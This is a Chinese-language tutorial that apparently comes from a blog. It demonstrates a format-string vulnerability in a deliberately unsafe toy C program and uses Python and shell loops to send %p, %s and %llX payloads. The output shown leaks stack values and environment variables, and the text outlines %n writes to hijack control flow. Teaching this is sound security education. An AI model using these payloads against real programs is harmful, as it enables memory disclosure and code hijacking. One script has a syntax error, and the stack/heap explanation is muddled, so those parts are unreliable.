old-trick of the Twentieth Century
這是一個有 Format String 漏洞 的範例程式:利用執行程式時帶進來的參數當作是原始字串, 並輸出在螢幕上。但如果輸入的字串帶有原本 c 的 格式化符號 時,就會有機會改變程式的流程。
/* Copyright (C) 2015 cmj. All right reserved. */
#include <stdio.h>
int Vuln(const char *argv) {
char buf[32] = {0};
snprintf(buf, sizeof(buf), "Hi, %s\n", argv);
printf(buf);
return 1;
}
int main(int argc, char *argv[])
{
if (Vuln(argv[1]))
return 0;
printf("Pwn\n");
return 0;
}
簡單的編譯這個程式並且作一點測試,確定他是可以被攻擊的狀態:可以注意到,當我們送入 %p 的時候,會得到 0x4006ca 的結果。這代表他本身帶有 fmt string 漏洞的可能性。
> ./a.out '%p'
Hi, 0x4006ca
接下來,用一個簡單的方式來確定是否有 buffer overflow 的問題存在:
#! /usr/bin/env python
import commands
buf = ''
for n in range(1024):
cmd = './a.out {0}'.format('A'*n)
ret = commands.getoutput(cmd)
if buf == ret:
print 'No buffer overflow: buffer size should be {0}'.format(n)
break
buf = ret
在我們的測試程式中,可以發現最多塞入 28 個字元就會被 truncate 掉。所以初步判斷他沒有 buffer overflow 的問題。順這個邏輯,我們也知道 buffer 大概會有 28 個連續區段會是 NULL (如果程式有寫好的話)。接著用一個 for 迴圈快速判斷我們有哪些值,可以利用這個漏洞拿到:
#! /usr/bin/env python
import commands
def Foo(n):
cmd = './a.out \'AAAA %{0}$p - %{0}$s\''.format(n)
status, ret = commands.getstatusoutput(cmd)
if not status:
return ret
cmd = './a.out \'AAAA %{0}$p\''.format(n)
return commands.getoutput(cmd)
for _ in range(1, 51):
print '{0:<4} - {1}'.format(_, Foo(_))
在沒有 Python 環境下,也可以直接使用 shell 執行
for n in $(seq 1 30); do ./a.out $(python -c "print(\"AAAA-${n}-%${n}\$p-%${n}\$s\")"); echo ''; done
,
這樣可以直接顯示哪一個位址可以被控制等。
這樣我們就可以得到部分的系統資訊。需要注意的是 C 程式的特性,當輸出的結果為字串時, 會自動在 0x00 的時候停止,或是在不可讀取的記憶體空間產生 SIGKIL 等錯誤訊息。 在下面訊息中可以發現到當取用第 4/7 個變數時,剛好就是我們輸入的變數值。 而第 45 個變數的時候剛好就是檔案的名稱,第 46 個也就是我們輸入到執行檔的參數, 而第 48 個變數之後的也就是環境變數。如果願意的話,可以印出來更後面的記憶體位址, 就會發現檔案開頭的 ELF 。
1 - Hi, AAAA 0x4006ca -
2 - Hi, AAAA 0x7fffb63830e5 -
3 - Hi, AAAA 0x7ffffff2
4 - Hi, AAAA 0x7ffdb444480a - AAAA %4$p - %4$s
5 - Hi, AAAA 0x9
6 - Hi, AAAA 0x7f3ad50ad130 -
7 - Hi, AAAA 0x7ffd3946f80a - AAAA %7$p - %7$s
8 - Hi, AAAA 0x41414141202c6948
9 - Hi, AAAA 0xa7024392520
10 - Hi, AAAA (nil)
11 - Hi, AAAA (nil) - (null)
12 - Hi, AAAA 0x7fff66af5750 - @@
13 - Hi, AAAA 0x40061e -
Àt¸
14 - Hi, AAAA 0x7ffffadeb008 -
15 - Hi, AAAA 0x200000000
16 - Hi, AAAA 0x400640 - AWAVAÿAUATL%Ö
17 - Hi, AAAA 0x7fdbe75c7790 - ÇèW
18 - Hi, AAAA 0x7fffeec0a0e8 -
19 - Hi, AAAA 0x7fff458d1e08 -
20 - Hi, AAAA 0x200000000
21 - Hi, AAAA 0x4005fc - UHåHì}üHuðHEðHÀH
22 - Hi, AAAA (nil) - (null)
23 - Hi, AAAA 0xa95267e549c53dac
24 - Hi, AAAA 0x4004a0 - 1íIÑ^HâHäðPTIÇÀ°@
25 - Hi, AAAA 0x7ffdeb59bfb0 -
26 - Hi, AAAA (nil) - (null)
27 - Hi, AAAA (nil) - (null)
28 - Hi, AAAA 0x8dae2705ed739cfa
29 - Hi, AAAA 0xcb6f93f220bda20d
30 - Hi, AAAA (nil) - (null)
31 - Hi, AAAA (nil) - (null)
32 - Hi, AAAA (nil) - (null)
33 - Hi, AAAA 0x400640 - AWAVAÿAUATL%Ö
34 - Hi, AAAA 0x7ffcac87e128 -
35 - Hi, AAAA 0x2
36 - Hi, AAAA (nil) - (null)
37 - Hi, AAAA (nil) - (null)
38 - Hi, AAAA 0x4004a0 - 1íIÑ^HâHäðPTIÇÀ°@
39 - Hi, AAAA 0x7ffed0e0f9c0 -
40 - Hi, AAAA (nil) - (null)
41 - Hi, AAAA 0x4004c9 - ôfD
42 - Hi, AAAA 0x7ffee66674c8 -
43 - Hi, AAAA 0x1c
44 - Hi, AAAA 0x2
45 - Hi, AAAA 0x7fffc81e4800 - ./a.out
46 - Hi, AAAA 0x7ffd88fed808 - AAAA %46$p - %46$s
47 - Hi, AAAA (nil) - (null)
48 - Hi, AAAA 0x7fffeb85c81b - XDG_SESSION_ID=c2
49 - Hi, AAAA 0x7ffce28da82d - SHELL=/bin/bash
50 - Hi, AAAA 0x7ffd33fca83d - TERM=screen
這時候我們放一點關心在非 0x7f 開頭的記憶體空間:通常來說,靜態 (stack) 決定的記憶體空間, 都放在連續空間的開頭,而動態 (heap) 產生的則是從後面開始堆疊。如果要控制程式的流程的話, 我們就關心一下 0x4000 開頭的記憶體空間。如果站在 全知全能 的角度,我們就知道第 13 個變數 (0x40061e) 就是呼叫完 Vuln 之後的下一個 指令 。這樣我們可以利用 %n 這個方式來寫入值到記憶體空間,進而改變原本的流程。
另一方面,我們可以發現第八個變數回傳的記憶體空間是 0x41414141202c6948, 這點跟其他的狀況很不一樣。如果我們把開頭的 AAAA 換成 BBBB,那回傳的記憶體開頭則會變成 是 0x42424242,這就告訴我們第八個變數的內容,會跟輸入的內容有關。 但是這樣只能寫入部分的記憶體,所以需要更詳細的 payload 才可以讀取任意記憶體空間: 藉由填入更長的 payload (但是又不能超過 buffer 大小),來精準定位 paylod 的大小, 以及需要操作的變數。
#! /usr/bin/env python
for _ in range(1, 100):
cmd = './a.out \'AAAAAAAAAAAAAAAA %{0}$016llX\''
print commands.getoutput(.format(_))
經過這樣測試之後,我們就知道當輸入 12 個 A之後,後面的 8 個 A 會被塞入到第 9 個變數記憶體空間當中,這樣就可以讀取完整檔案的內容。
Hi, AAAAAAAAAAAAAAAA 00000000004006DA
Hi, AAAAAAAAAAAAAAAA 00007FFDEEF6988F
Hi, AAAAAAAAAAAAAAAA 000000007FFFFFE1
Hi, AAAAAAAAAAAAAAAA 586C6C3631302434
Hi, AAAAAAAAAAAAAAAA 000000000000001A
Hi, AAAAAAAAAAAAAAAA 0000000000000002
Hi, AAAAAAAAAAAAAAAA 00007FFD33AB4800
Hi, AAAAAAAAAAAAAAAA 41414141202C6948
Hi, AAAAAAAAAAAAAAAA 4141414141414141